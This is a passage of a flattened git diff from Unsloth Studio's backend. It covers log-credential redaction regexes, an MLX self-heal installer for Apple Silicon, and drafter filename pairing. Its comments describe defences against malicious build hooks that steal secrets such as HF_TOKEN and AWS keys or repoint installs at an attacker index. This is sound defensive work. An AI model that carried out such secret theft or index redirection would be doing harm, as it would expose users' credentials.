r"))(\s+)(" + _CREDENTIAL + r")")-# Bearer is not an English word that shows up in a log on its own, so it keeps-# a header-less rule; the shape guard still spares "Bearer credentials expired".+# Bearer is not an English word that shows up in a log on its own, so it keeps a header-less rule; the shape guard still spares "Bearer credentials expired"._SCHEME_RE = re.compile(r"(?i)\b(Bearer)(\s+)(" + _CREDENTIAL + r")")# MULTILINE: this also runs over exception text._COOKIE_RE = re.compile(@@ -124,18 +99,12 @@ _COOKIE_RE = re.compile(re.MULTILINE,)-# Keys whose value is a secret even when it is all digits (a numeric password is-# still a password); everywhere else a bare number is a count or an id.+# Keys whose value is a secret even when it is all digits (a numeric password is still a password); everywhere else a bare number is a count or an id._NUMERIC_IS_STILL_SECRET = re.compile(r"(?i)pass(word|wd)?$|secret$")def _looks_like_credential(value: str) -> bool:- """Token-shaped rather than an English word.-- Guards the rules keyed on a weak name: "Bearer credentials were not- accepted" and "Cookie: disabled" are log content, and blanking them hides- the failure being diagnosed.- """+ """Token-shaped rather than an English word. Guards the rules keyed on a weak name: "Bearer credentials were not accepted" and "Cookie: disabled" are log content, and blanking them hides the failure being diagnosed."""if len(value) < 8:return Falseif len(value) >= 20:@@ -147,14 +116,11 @@ def _looks_like_credential(value: str) -> bool:def _redact_kv(match: re.Match[str]) -> str:- # Named groups: the quoted/unquoted branch adds a group, so positional- # numbering is not stable.+ # Named groups: the quoted/unquoted branch adds a group, so positional numbering is not stable.value = match.group("val")if value.isdigit() and not _NUMERIC_IS_STILL_SECRET.search(match.group("key")):return match.group(0)- # Quoting puts the scheme inside the value ('authorization': 'Basic abc').- # Step over it rather than abandon the match: the rest is still the- # credential, and blanking the scheme reads as if the header were the secret.+ # Quoting puts the scheme inside the value ('authorization': 'Basic abc'). Step over it rather than abandon the match: the rest is still the credential, and blanking the scheme reads as if the header were the secret.scheme, sep, rest = value.partition(" ")if scheme.lower() in _SCHEMES:if not sep or not rest.strip():@@ -175,8 +141,7 @@ _COOKIE_PAIR_RE = re.compile(r"^[A-Za-z0-9_.\-]+=\S")def _redact_cookie(match: re.Match[str]) -> str:value, tail = match.group("val"), ""- # A quoted value ends at its closing quote, so the fields behind it in a- # header dict survive instead of disappearing into the mask.+ # A quoted value ends at its closing quote, so the fields behind it in a header dict survive instead of disappearing into the mask.quote = match.group("q")if quote:end = value.find(quote)@@ -191,14 +156,12 @@ def redact_log_text(text: str) -> str:"""Mask credentials. Idempotent, and a no-op on ordinary log content."""if not text:return text- # Nothing anchored below survives an escape between a key and its value, so- # strip first, guarded by one introducer scan: ordinary content is untouched.+ # Nothing anchored below survives an escape between a key and its value, so strip first, guarded by one introducer scan: ordinary content is untouched.if _ANSI_INTRODUCER_RE.search(text):text = _ANSI_RE.sub("", text)for pattern, replacement in _PATTERNS:text = pattern.sub(replacement, text)- # Before the key/value rules: _KV_RE captures "Basic" from "Authorization:- # Basic dXNlcjpwdw==", masking the scheme and leaving the credential clear.+ # Before the key/value rules: _KV_RE captures "Basic" from "Authorization: Basic dXNlcjpwdw==", masking the scheme and leaving the credential clear.text = _AUTH_HEADER_RE.sub(_redact_shaped, text)text = _SCHEME_RE.sub(_redact_shaped, text)text = _COOKIE_RE.sub(_redact_cookie, text)diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.pyindex 2e28430b882..a524fe57ef4 100644--- a/studio/backend/utils/mlx_repair.py+++ b/studio/backend/utils/mlx_repair.py@@ -1,26 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Best-effort MLX self-heal for Apple Silicon.--On macOS, Unsloth enables Train/Export only when the MLX training/export stack is-usable (see utils.hardware.hardware.detect_hardware -> CHAT_ONLY). MLX is pulled-only transitively via unsloth-zoo, and a resolver backtrack (mlx-vlm ->-transformers>=5 vs the single-env transformers pin) can silently drop it, leaving-Train/Export greyed out after a reinstall/update. This reinstalls mlx by name on-a background thread, then re-detects so the gate re-opens without a manual-`unsloth studio update`.--The install mirrors the main Apple Silicon installer (install_python_stack.py):-it points UV_OVERRIDE at overrides-darwin-arm64.txt so the resolver keeps the-Unsloth transformers pin AND installs a current mlx-vlm, and it requires the same-minimum versions unsloth-zoo declares so a backtracked old mlx-vlm (which still-imports but breaks VLM Train/Export) is never accepted as healthy.--Mirrors the runtime backend self-heal already used for causal-conv1d-(core.training.worker._ensure_causal_conv1d_fast_path): default-on,-best-effort, opt out with UNSLOTH_DISABLE_MLX_AUTOREPAIR=1.-"""+"""Best-effort MLX self-heal for Apple Silicon. On macOS, Unsloth enables Train/Export only when the MLX training/export stack is usable (see utils.hardware.hardware.detect_hardware -> CHAT_ONLY). MLX is pulled only transitively via unsloth-zoo, and a resolver backtrack (mlx-vlm -> transformers>=5 vs the single-env transformers pin) can silently drop it, leaving Train/Export greyed out after a reinstall/update, so this reinstalls mlx by name on a background thread and re-detects, reopening the gate without a manual `unsloth studio update`. The install mirrors the main Apple Silicon installer (install_python_stack.py): it points UV_OVERRIDE at overrides-darwin-arm64.txt so the resolver keeps the Unsloth transformers pin AND installs a current mlx-vlm, and it requires the same minimum versions unsloth-zoo declares so a backtracked old mlx-vlm (which still imports but breaks VLM Train/Export) is never accepted as healthy. Mirrors the runtime backend self-heal already used for causal-conv1d (core.training.worker._ensure_causal_conv1d_fast_path): default-on, best-effort, opt out with UNSLOTH_DISABLE_MLX_AUTOREPAIR=1."""from __future__ import annotations@@ -43,24 +24,13 @@ from utils.uv_path_safety import uv_safe_pathlogger = structlog.get_logger(__name__)DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"-# uv's wording when --python names a path it will not install into, matched on the stable leading-# clause only: uv appends the offending path and has reworded the tail across releases.+# uv's wording when --python names a path it will not install into, matched on the stable leading clause only: uv appends the offending path and has reworded the tail across releases._UNRESOLVED_PYTHON_MARKER = "No virtual environment or system Python installation found"-# Minimum versions unsloth-zoo requires on Apple Silicon (its pyproject darwin deps). mlx-vlm especially must be-# >=0.4.4: an older one still imports but breaks VLM Train/Export, so installing it would wrongly clear chat-only. mlx--# lm's floor tracks unsloth-zoo, which needs GenerationBatch.Response and BatchGenerator.next_generated from 0.31.2; it-# read 0.22.0 here, which would have let a stack too old for batched generation clear the chat-only gate.+# Minimum versions unsloth-zoo requires on Apple Silicon (its pyproject darwin deps). mlx-vlm especially must be >=0.4.4: an older one still imports but breaks VLM Train/Export, so installing it would wrongly clear chat-only. mlx-lm's floor tracks unsloth-zoo, which needs GenerationBatch.Response and BatchGenerator.next_generated from 0.31.2; it read 0.22.0 here, which would have let a stack too old for batched generation clear the chat-only gate._MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.31.2", "mlx-vlm": "0.4.4"}_MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS)_MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm")-# What the self-heal INSTALLS, as opposed to the floors above, which judge a stack that is already there. Pinned rather-# than floored because this install is unattended and default-on and mlx ships breaking changes in patch releases:-# 0.32.1 broke model loading here (unslothai/unsloth#9466). Keep in sync with unsloth-zoo's pyproject darwin deps; mlx--# vlm stays a range so the resolver can pick 0.6.15, where the installer overrides mlx-vlm's transformers requirement,-# and 0.6.4 under the plain cap. 0.32.1 is chosen with its known defect: it segfaults at interpreter finalization when a-# fused Metal custom kernel is the last work a process did, worked around in tests/_run_then_exit_hard.py, while staying-# on 0.32.0 would give back mlx#3833, where two fast.metal_kernel instances sharing a name but not a source run the-# first kernel's code for the second.+# What the self-heal INSTALLS, as opposed to the floors above, which judge a stack that is already there. Pinned rather than floored because this install is unattended and default-on and mlx ships breaking changes in patch releases: 0.32.1 broke model loading here (unslothai/unsloth#9466). Keep in sync with unsloth-zoo's pyproject darwin deps; mlx-vlm stays a range so the resolver can pick 0.6.15, where the installer overrides mlx-vlm's transformers requirement, and 0.6.4 under the plain cap. 0.32.1 is chosen with its known defect: it segfaults at interpreter finalization when a fused Metal custom kernel is the last work a process did, worked around in tests/_run_then_exit_hard.py, while staying on 0.32.0 would give back mlx#3833, where two fast.metal_kernel instances sharing a name but not a source run the first kernel's code for the second._MLX_INSTALL_SPECS = {"mlx": "==0.32.1","mlx-lm": "==0.31.3",@@ -70,18 +40,9 @@ MLX_PACKAGES = tuple(f"{name}{spec}" for name, spec in _MLX_INSTALL_SPECS.items(_MLX_REINSTALL_ARGS = tuple(arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name))-# Require pre-built wheels for the unattended self-heal: a source distribution's PEP 517 build backend runs arbitrary-# code at install time, and this install is default-on and runs before the post-install stack check can reject anything.-# mlx/mlx-metal ship wheels only (no sdist on PyPI) and mlx-lm/mlx-vlm publish py3-none-any wheels, so requiring wheels-# does not break a healthy self-heal; if a wheel is genuinely unavailable the install fails and Unsloth stays chat-only.+# Require pre-built wheels for the unattended self-heal: a source distribution's PEP 517 build backend runs arbitrary code at install time, and this install is default-on and runs before the post-install stack check can reject anything. mlx/mlx-metal ship wheels only (no sdist on PyPI) and mlx-lm/mlx-vlm publish py3-none-any wheels, so requiring wheels does not break a healthy self-heal; if a wheel is genuinely unavailable the install fails and Unsloth stays chat-only._ONLY_BINARY_ARG = "--only-binary=:all:"-# Allowlist of environment variables forwarded to the install subprocess. The self-heal runs without confirmation on the-# default startup path, so it must not hand resolver/build code the full Unsloth environment. Dropping everything else-# excludes three classes by construction: secrets (HF_TOKEN, AWS_*, WANDB_API_KEY) a malicious wheel/sdist build hook-# would read out of os.environ; package-source redirects (UV_INDEX*, UV_DEFAULT_INDEX, UV_FIND_LINKS, PIP_INDEX_URL)-# that could repoint the install at an attacker-controlled index; and cache-dir redirects (UV_CACHE_DIR, XDG_CACHE_HOME)-# that could point uv at an attacker-staged cache. uv still honours on-disk config (uv.toml / pip.conf), so a corporate-# mirror keeps working, and UV_OVERRIDE is set in _mlx_install_env, so a poisoned one here is ignored.+# Allowlist of environment variables forwarded to the install subprocess. The self-heal runs without confirmation on the default startup path, so it must not hand resolver/build code the full Unsloth environment. Dropping everything else excludes three classes by construction: secrets (HF_TOKEN, AWS_*, WANDB_API_KEY) a malicious wheel/sdist build hook would read out of os.environ; package-source redirects (UV_INDEX*, UV_DEFAULT_INDEX, UV_FIND_LINKS, PIP_INDEX_URL) that could repoint the install at an attacker-controlled index; and cache-dir redirects (UV_CACHE_DIR, XDG_CACHE_HOME) that could point uv at an attacker-staged cache. uv still honours on-disk config (uv.toml / pip.conf), so a corporate mirror keeps working, and UV_OVERRIDE is set in _mlx_install_env, so a poisoned one here is ignored._MLX_ENV_ALLOWLIST = frozenset({"PATH",@@ -114,24 +75,16 @@ _MLX_ENV_ALLOWLIST = frozenset()_REPAIR_TIMEOUT_S = 900-# Attempt at most once per process; success is sticky, since mlx then imports and the guard-# short-circuits on the next boot.+# Attempt at most once per process; success is sticky, since mlx then imports and the guard short-circuits on the next boot._attempted = False_attempted_lock = threading.Lock()-# The worker started by start_mlx_autorepair_if_needed, so callers can tell "still installing" from-# "done". Written under _attempted_lock with the latch above, which mlx_repair_in_flight() reads as-# one state.+# The worker started by start_mlx_autorepair_if_needed, so callers can tell "still installing" from "done". Written under _attempted_lock with the latch above, which mlx_repair_in_flight() reads as one state._repair_thread: Optional[threading.Thread] = None-# attempt_mlx_repair times the uv subprocess but not the imports that verify the install, and those-# can park indefinitely on a broken stack, so an alive thread alone was an unbounded answer: a-# parked worker would hold the verdict provisional for the whole session.-# Those imports are mlx.core, mlx_lm and mlx_vlm, reached through mlx_stack_available() and the detect_hardware() pass;-# the subprocess keeps its full timeout and this adds the post-install work on top.+# attempt_mlx_repair times the uv subprocess but not the imports that verify the install, and those can park indefinitely on a broken stack, so an alive thread alone was an unbounded answer: a parked worker would hold the verdict provisional for the whole session. Those imports are mlx.core, mlx_lm and mlx_vlm, reached through mlx_stack_available() and the detect_hardware() pass; the subprocess keeps its full timeout and this adds the post-install work on top._repair_started_at: Optional[float] = None_WORKER_BUDGET_S = _REPAIR_TIMEOUT_S + 300# Indirected so the tests can drive the budget without sleeping through it._repair_clock = time.monotonic-# True once the install subprocess has actually run._environment_mutated = False@@ -214,14 +167,7 @@ def _mlx_versions_satisfy_minimums() -> bool:def mlx_stack_blockers() -> list[str]:- """Why this host cannot train with MLX, in the order the gate checks it.-- The gate itself is all-or-nothing, and "run `unsloth studio update`" is no help- to someone who has just run it: a resolver backtrack leaves a stack that is- present but unusable, and nothing said which package or which import was the- problem. Same order as ``mlx_stack_available`` so the two cannot disagree.- Empty means the stack is usable.- """+ """Why this host cannot train with MLX, in the order the gate checks it. The gate itself is all-or-nothing, and "run `unsloth studio update`" is no help to someone who has just run it: a resolver backtrack leaves a stack that is present but unusable, and nothing said which package or which import was the problem. Same order as ``mlx_stack_available`` so the two cannot disagree. Empty means the stack is usable."""versions = _mlx_version_blockers()if versions:return [_bounded(line, _BLOCKER_LINE_CAP) for line in versions]@@ -230,36 +176,14 @@ def mlx_stack_blockers() -> list[str]:def mlx_stack_available() -> bool:- """`import mlx.core` works AND mlx/mlx-lm/mlx-vlm meet unsloth-zoo's minimums.-- Check distribution versions before imports so a too-old but importable MLX- module is not loaded into this process before repair can replace it."""+ """`import mlx.core` works AND mlx/mlx-lm/mlx-vlm meet unsloth-zoo's minimums. Check distribution versions before imports so a too-old but importable MLX module is not loaded into this process before repair can replace it."""if not _mlx_versions_satisfy_minimums():return Falsereturn _mlx_runtime_imports_available()def mlx_repair_in_flight() -> bool:- """True while the one-time self-heal can still overturn a chat-only verdict.-- Ask only about a host whose MLX stack has just been measured as unusable, which is- what detect_hardware's "mlx_unavailable" verdict means. This answers "has the repair- finished", not "does this host need one": the not-yet-started branch would otherwise- have to re-probe the stack, and on the host that matters that means re-running the- failing mlx imports on the event loop for every health poll.-- Detection runs on the warm thread and the repair is scheduled after it, so such a host- settles chat-only first and only flips once the reinstall lands. Both halves of that- window count, since both publish an answer the repair is about to replace: the stretch- before the worker starts, and the worker itself. False the moment it has finished,- whichever way it went, so a host that genuinely cannot train still gets a final- verdict -- as it does when the self-heal is opted out of, or cannot apply at all, or- when a worker outlives _WORKER_BUDGET_S without finishing.-- The not-yet-started half is unbounded here on purpose: this module cannot tell a- repair that is moments away from starting from one whose scheduler never arrives.- Callers holding a verdict back on the strength of it pair this with- mlx_repair_started() and bound that half themselves."""+ """True while the one-time self-heal can still overturn a chat-only verdict. Ask only about a host whose MLX stack has just been measured as unusable, which is what detect_hardware's "mlx_unavailable" verdict means: this answers "has the repair finished", not "does this host need one", since the not-yet-started branch would otherwise have to re-probe the stack, and on the host that matters that means re-running the failing mlx imports on the event loop for every health poll. Detection runs on the warm thread and the repair is scheduled after it, so such a host settles chat-only first and only flips once the reinstall lands; both halves of that window count, since both publish an answer the repair is about to replace: the stretch before the worker starts, and the worker itself. False the moment it has finished, whichever way it went, so a host that genuinely cannot train still gets a final verdict, as it does when the self-heal is opted out of, or cannot apply at all, or when a worker outlives _WORKER_BUDGET_S without finishing. The not-yet-started half is unbounded here on purpose: this module cannot tell a repair that is moments away from starting from one whose scheduler never arrives, so callers holding a verdict back on the strength of it pair this with mlx_repair_started() and bound that half themselves."""if os.environ.get(DISABLE_ENV_VAR) == "1":return Falseif not is_apple_silicon():@@ -274,20 +198,13 @@ def mlx_repair_in_flight() -> bool:return Trueif thread is None or not thread.is_alive():return False- # Alive is not the same as making progress.if started_at is not None and _repair_clock() - started_at >= _WORKER_BUDGET_S:return Falsereturn Truedef mlx_repair_started() -> bool:- """True once start_mlx_autorepair_if_needed() has claimed the one-time latch.-- Splits mlx_repair_in_flight()'s True into its two halves for callers that treat them- differently: a live worker is a reinstall that legitimately runs for many minutes,- while "not started yet" is a promise nothing has kept yet. Reads the latch rather- than the thread handle, so a worker whose start() blew up still counts as started and- falls through to in_flight's aliveness check."""+ """True once start_mlx_autorepair_if_needed() has claimed the one-time latch. Splits mlx_repair_in_flight()'s True into its two halves for callers that treat them differently: a live worker is a reinstall that legitimately runs for many minutes, while "not started yet" is a promise nothing has kept yet. Reads the latch rather than the thread handle, so a worker whose start() blew up still counts as started and falls through to in_flight's aliveness check."""with _attempted_lock:return _attempted@@ -312,10 +229,7 @@ def _uv_executable() -> str | None:def _venv_root() -> str | None:- """The venv directory this interpreter runs from, or None outside a venv.-- `sys.prefix` differs from `sys.base_prefix` exactly when a venv is active.- Confirm the marker file so a half-deleted tree is never named as the target."""+ """The venv directory this interpreter runs from, or None outside a venv. `sys.prefix` differs from `sys.base_prefix` exactly when a venv is active; confirm the marker file so a half-deleted tree is never named as the target."""if sys.prefix == sys.base_prefix:return Nonetry:@@ -334,35 +248,7 @@ def _uv_install_cmd(*args: str) -> list[str] | None:def _mlx_install_env() -> dict[str, str]:- """Minimal, allowlisted environment for the unattended mlx install.-- The self-heal runs without confirmation on the default startup path, so it- forwards only the variables uv genuinely needs (see _MLX_ENV_ALLOWLIST) instead- of the full Unsloth environment: secrets and package-source redirects in- os.environ are dropped so a malicious resolver-selected artifact cannot read- Unsloth secrets or be steered to a hostile index.-- Mirror the main installer (install_python_stack.py) by pointing UV_OVERRIDE at- overrides-darwin-arm64.txt, which keeps mlx-vlm/mlx-lm on the Unsloth- Transformers floor. Without it, uv keeps the Unsloth transformers pin only- by silently backtracking mlx-vlm to an old, unsupported version (uv honours- UV_OVERRIDE; plain pip ignores it, so the transformers constraint below is the- pip-path safety net). We set UV_OVERRIDE ourselves, so a poisoned one in the- process env is ignored.-- VIRTUAL_ENV is set from sys.prefix rather than forwarded from os.environ, for- the same reason: it names the environment uv must install into, and taking it- from the process env would let a caller redirect the install elsewhere.-- It does NOT rescue a venv whose bin/python has stopped resolving. An explicit- --python outranks VIRTUAL_ENV, so uv reports the same unresolved-interpreter- error either way; this once claimed otherwise, and named an interpreter-probe- helper that was deleted with it. Nothing passable to `uv pip install` recovers- that state -- --target and --prefix do exit 0, but resolve against whatever- ambient interpreter uv finds and write a wrong-ABI or off-sys.path install,- which is worse than staying chat-only because it defeats the- mlx_stack_available() gate. That case is detected and reported instead: see- the _UNRESOLVED_PYTHON_MARKER branch in attempt_mlx_repair."""+ """Minimal, allowlisted environment for the unattended mlx install. The self-heal runs without confirmation on the default startup path, so it forwards only the variables uv genuinely needs (see _MLX_ENV_ALLOWLIST) instead of the full Unsloth environment: secrets and package-source redirects in os.environ are dropped so a malicious resolver-selected artifact cannot read Unsloth secrets or be steered to a hostile index. Mirror the main installer (install_python_stack.py) by pointing UV_OVERRIDE at overrides-darwin-arm64.txt, which keeps mlx-vlm/mlx-lm on the Unsloth Transformers floor: without it, uv keeps the Unsloth transformers pin only by silently backtracking mlx-vlm to an old, unsupported version (uv honours UV_OVERRIDE; plain pip ignores it, so the transformers constraint below is the pip-path safety net). We set UV_OVERRIDE ourselves, so a poisoned one in the process env is ignored. VIRTUAL_ENV is set from sys.prefix rather than forwarded from os.environ, for the same reason: it names the environment uv must install into, and taking it from the process env would let a caller redirect the install elsewhere. It does NOT rescue a venv whose bin/python has stopped resolving: an explicit --python outranks VIRTUAL_ENV, so uv reports the same unresolved-interpreter error either way, and nothing passable to `uv pip install` recovers that state, since --target and --prefix do exit 0 but resolve against whatever ambient interpreter uv finds and write a wrong-ABI or off-sys.path install, which is worse than staying chat-only because it defeats the mlx_stack_available() gate. That case is detected and reported instead: see the _UNRESOLVED_PYTHON_MARKER branch in attempt_mlx_repair."""env = {key: os.environ[key] for key in _MLX_ENV_ALLOWLIST if key in os.environ}if (venv_root := _venv_root()) is not None:env["VIRTUAL_ENV"] = venv_root@@ -379,19 +265,7 @@ def _mlx_install_env() -> dict[str, str]:def _transformers_constraint_args() -> tuple[list[str], str | None]:- """Pin transformers to the running version for the mlx install.-- The install must never upgrade transformers underneath a running Unsloth- (the single-env install pins a compatible default). With UV_OVERRIDE set this- is belt-and-suspenders; on the plain-pip path (no UV_OVERRIDE support) it is- the actual guard -- the resolver either finds an mlx build compatible with the- pin or fails, leaving us chat-only rather than breaking Unsloth. Returns- (pip args, temp file path to clean up).-- Read the version from installed metadata rather than `import transformers`:- transformers can have valid metadata yet fail to import (e.g. an incompatible- huggingface_hub), and in that case we still want to pin it so the mlx install- cannot quietly upgrade it out from under Unsloth."""+ """Pin transformers to the running version for the mlx install. The install must never upgrade transformers underneath a running Unsloth (the single-env install pins a compatible default). With UV_OVERRIDE set this is belt-and-suspenders; on the plain-pip path (no UV_OVERRIDE support) it is the actual guard, since the resolver either finds an mlx build compatible with the pin or fails, leaving us chat-only rather than breaking Unsloth. Returns (pip args, temp file path to clean up). Read the version from installed metadata rather than `import transformers`: transformers can have valid metadata yet fail to import (e.g. an incompatible huggingface_hub), and in that case we still want to pin it so the mlx install cannot quietly upgrade it out from under Unsloth."""from importlib.metadata import PackageNotFoundError, version as _dist_versiontry:@@ -407,14 +281,9 @@ def _transformers_constraint_args() -> tuple[list[str], str | None]:def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:- """Install a usable mlx/mlx-lm/mlx-vlm stack by name into the running venv.- Best-effort; returns True iff the resulting stack meets unsloth-zoo's minimums- (so a backtracked old mlx-vlm is rejected, not accepted). transformers is held- at its pinned version so the install can never upgrade it underneath Unsloth."""+ """Install a usable mlx/mlx-lm/mlx-vlm stack by name into the running venv. Best-effort; returns True iff the resulting stack meets unsloth-zoo's minimums (so a backtracked old mlx-vlm is rejected, not accepted). transformers is held at its pinned version so the install can never upgrade it underneath Unsloth."""global _environment_mutated- # Prepare the constraint inside the try: this runs on a daemon thread- # An exception here (e.g. tempfile.mkstemp failing on a full disk or a bad TMPDIR) must leave Unsloth chat-only, not- # crash the background self-heal thread.+ # Prepare the constraint inside the try: this runs on a daemon thread, and an exception here (e.g. tempfile.mkstemp failing on a full disk or a bad TMPDIR) must leave Unsloth chat-only, not crash the background self-heal thread.constraint_path = Nonetry:constraint_args, constraint_path = _transformers_constraint_args()@@ -432,9 +301,7 @@ def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:)return Falselogger.info("MLX self-heal: installing %s", ", ".join(MLX_PACKAGES))- # Before the wait, not after: every package is passed with --reinstall-package, so uv removes and- # replaces them as it goes and a timeout or a non-zero exit part way through leaves a stack neither- # the one detection measured nor the one asked for. Nothing before this line touches the environment.+ # Before the wait, not after: every package is passed with --reinstall-package, so uv removes and replaces them as it goes and a timeout or a non-zero exit part way through leaves a stack neither the one detection measured nor the one asked for. Nothing before this line touches the environment._environment_mutated = Trueresult = subprocess.run(cmd,@@ -479,9 +346,7 @@ def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:logger.warning("MLX self-heal produced an incomplete or too-old MLX stack ""(need %s); staying chat-only.",- # The floors, not MLX_PACKAGES: the gate above tests the floors, so- # quoting the install pins would tell someone on a usable mlx 0.33- # that they need exactly 0.32.1.+ # The floors, not MLX_PACKAGES: the gate above tests the floors, so quoting the install pins would tell someone on a usable mlx 0.33 that they need exactly 0.32.1.", ".join(f"{name}>={ver}" for name, ver in _MLX_MIN_VERSIONS.items()),)return False@@ -496,13 +361,11 @@ def _run_repair_and_redetect(epoch: Optional[int] = None) -> None:try:from utils.hardware import hardware as hw- # A pip install, so shutdown can land anywhere inside it. Scoping to the epoch read- # before start() discards the re-detect rather than republish for a dead lifespan.+ # A pip install, so shutdown can land anywhere inside it. Scoping to the epoch read before start() discards the re-detect rather than republish for a dead lifespan.with hw.owning_detection_epoch(epoch):hw.detect_hardware()if epoch is not None and hw.current_detection_epoch() != epoch:- # The scoped pass declined, so this repair outlived its lifespan while the install succeeded: re-detect- # under the live epoch or a now-capable Mac stays chat-only until a restart.+ # The scoped pass declined, so this repair outlived its lifespan while the install succeeded: re-detect under the live epoch or a now-capable Mac stays chat-only until a restart.hw.detect_hardware()if repaired:logger.info(@@ -520,11 +383,7 @@ def _run_repair_and_redetect(epoch: Optional[int] = None) -> None:def _installed_without_torch() -> bool:- """True when this venv was installed --no-torch (GGUF-only).-- Unknown reads as False: an install predating the manifest keeps today's- repair behaviour rather than silently losing it.- """+ """True when this venv was installed --no-torch (GGUF-only). Unknown reads as False: an install predating the manifest keeps today's repair behaviour rather than silently losing it."""try:from studio.install_manifest import recorded_no_torchreturn recorded_no_torch() is True@@ -533,32 +392,21 @@ def _installed_without_torch() -> bool:def start_mlx_autorepair_if_needed() -> bool:- """If this is an Apple Silicon host whose MLX stack is missing or too old, reinstall it on- a daemon thread (off the startup critical path) and re-detect on success. True iff a repair- thread was started; False off Apple Silicon, when already attempted this process, when the- venv was installed --no-torch, or when disabled via UNSLOTH_DISABLE_MLX_AUTOREPAIR=1. An- adequate stack starts no repair but still overturns a verdict that contradicts it."""+ """If this is an Apple Silicon host whose MLX stack is missing or too old, reinstall it on a daemon thread (off the startup critical path) and re-detect on success. True iff a repair thread was started; False off Apple Silicon, when already attempted this process, when the venv was installed --no-torch, or when disabled via UNSLOTH_DISABLE_MLX_AUTOREPAIR=1. An adequate stack starts no repair but still overturns a verdict that contradicts it."""global _attempted, _repair_thread, _repair_started_atif not is_apple_silicon():return Falsefrom utils.hardware import hardware as _hw- # Opting out declines a reinstall, not a correct verdict, so the overturn still runs, but- # only when one waits on it: under the warm's kill switch it would be a first MLX import- # for no one.- # A --no-torch install declined the training stack on purpose, so treat it- # exactly like the kill switch: no reinstall, but a correct verdict still wins.+ # Opting out declines a reinstall, not a correct verdict, so the overturn still runs, but only when one waits on it: under the warm's kill switch it would be a first MLX import for no one. A --no-torch install declined the training stack on purpose, so it counts as the same opt-out.no_torch = _installed_without_torch()opted_out = os.environ.get(DISABLE_ENV_VAR) == "1" or no_torchif opted_out and not _hw.verdict_blames_the_mlx_stack():return False- # Read before the measurement, so a shutdown during it discards whatever is published on- # the strength of it. The repair worker shares this epoch rather than a later one.+ # Read before the measurement, so a shutdown during it discards whatever is published on the strength of it. The repair worker shares this epoch rather than a later one.epoch = _hw.current_detection_epoch()if mlx_stack_available():- # Asked as the warm's first stage, early enough to race another thread's first transformers- # import: CPython hands the loser a partially initialised module, so mlx_lm's chain raises on a- # healthy install (#9120).+ # Asked as the warm's first stage, early enough to race another thread's first transformers import: CPython hands the loser a partially initialised module, so mlx_lm's chain raises on a healthy install (#9120).if _hw.overturn_the_mlx_verdict(epoch):logger.info("MLX stack measures usable after the warm, against a chat-only verdict "@@ -579,7 +427,6 @@ def start_mlx_autorepair_if_needed() -> bool:if _attempted:return False_attempted = True- # Built and started inside the lock that claims the latch._repair_thread = threading.Thread(target = _run_repair_and_redetect,args = (epoch,),diff --git a/studio/backend/utils/models/drafters/common.py b/studio/backend/utils/models/drafters/common.pyindex f912041f3bf..8ab22e31a8e 100644--- a/studio/backend/utils/models/drafters/common.py+++ b/studio/backend/utils/models/drafters/common.py@@ -1,13 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Primitives shared by every speculative drafter kind.--MTP, DSpark and DFlash all pair a sidecar with a main weight by name, resolve a-launch path through a split set, and answer whether that set is complete. Those-rules live here, once, so a change to the pairing rule cannot reach one kind and-miss another. Nothing here is DFlash specific.-"""+"""Primitives shared by every speculative drafter kind. MTP, DSpark and DFlash all pair a sidecar with a main weight by name, resolve a launch path through a split set, and answer whether that set is complete; those rules live here, once, so a change to the pairing rule cannot reach one kind and miss another. Nothing here is DFlash specific."""import osimport re@@ -18,19 +12,9 @@ from typing import Iterable, Optional# model_config imports this module.-# model_config imports this module, so the naming helpers are pulled in per call rather than at import; they stay where-# they are so this package does not become a second home for them.-# They are constants and pure functions shared with non-drafter code (gguf_variants, the auto download paths), so the-# GGUF naming rules keep one home.+# model_config imports this module, so the naming helpers are pulled in per call rather than at import; they stay where they are because they are constants and pure functions shared with non-drafter code (gguf_variants, the auto download paths), so the GGUF naming rules keep one home.def _drafter_pairing_stem(name: str, *, kind: str) -> str:- """The model family a drafter filename names, stripped of its own markers.-- Both published schemes are handled: ``<kind>-<model>`` and the older- ``<model>-<KIND>``. The shard suffix sits outside the quant token, so it- goes first or the anchored quant strip below cannot match. Full quant- vocabulary, not a subset: K/IQ/UD/MXFP drafters pair too, and the optional- bpw modifier goes with it, as _extract_quant_label does.- """+ """The model family a drafter filename names, stripped of its own markers. Both published schemes are handled, ``<kind>-<model>`` and the older ``<model>-<KIND>``. The shard suffix sits outside the quant token, so it goes first or the anchored quant strip below cannot match. Full quant vocabulary, not a subset: K/IQ/UD/MXFP drafters pair too, and the optional bpw modifier goes with it, as _extract_quant_label does."""stem = Path(name).stem.lower()if stem.startswith(f"{kind}-"):stem = stem[len(kind) + 1 :]@@ -45,28 +29,14 @@ def _drafter_pairing_stem(name: str, *, kind: str) -> str:stem,flags = re.IGNORECASE,)- # A borrowed MTP head is published as mtp-<model>-shared-<quant>.gguf, so- # -shared marks the head's FORM, not the family. Left in, the stem is- # <model>-shared, which never prefixes <model>-<quant>, so the local scan could- # not pair the head the hub picker prefers. MTP only: no other kind borrows.+ # A borrowed MTP head is published as mtp-<model>-shared-<quant>.gguf, so -shared marks the head's FORM, not the family. Left in, the stem is <model>-shared, which never prefixes <model>-<quant>, so the local scan could not pair the head the hub picker prefers. MTP only: no other kind borrows.if kind == "mtp":stem = re.sub(r"-shared$", "", stem)return stemdef _drafter_matches_weight(candidate_name: str, weight_name: Optional[str], *, kind: str) -> bool:- """Whether a drafter pairs with the weight, by name.-- A multi-model folder must not attach a foreign drafter, so the family the- drafter names has to PREFIX the weight filename at a non-alphanumeric- boundary. That blocks one direction of a ``DeepSeek-V4-Flash-Lite`` /- ``DeepSeek-V4-Flash`` 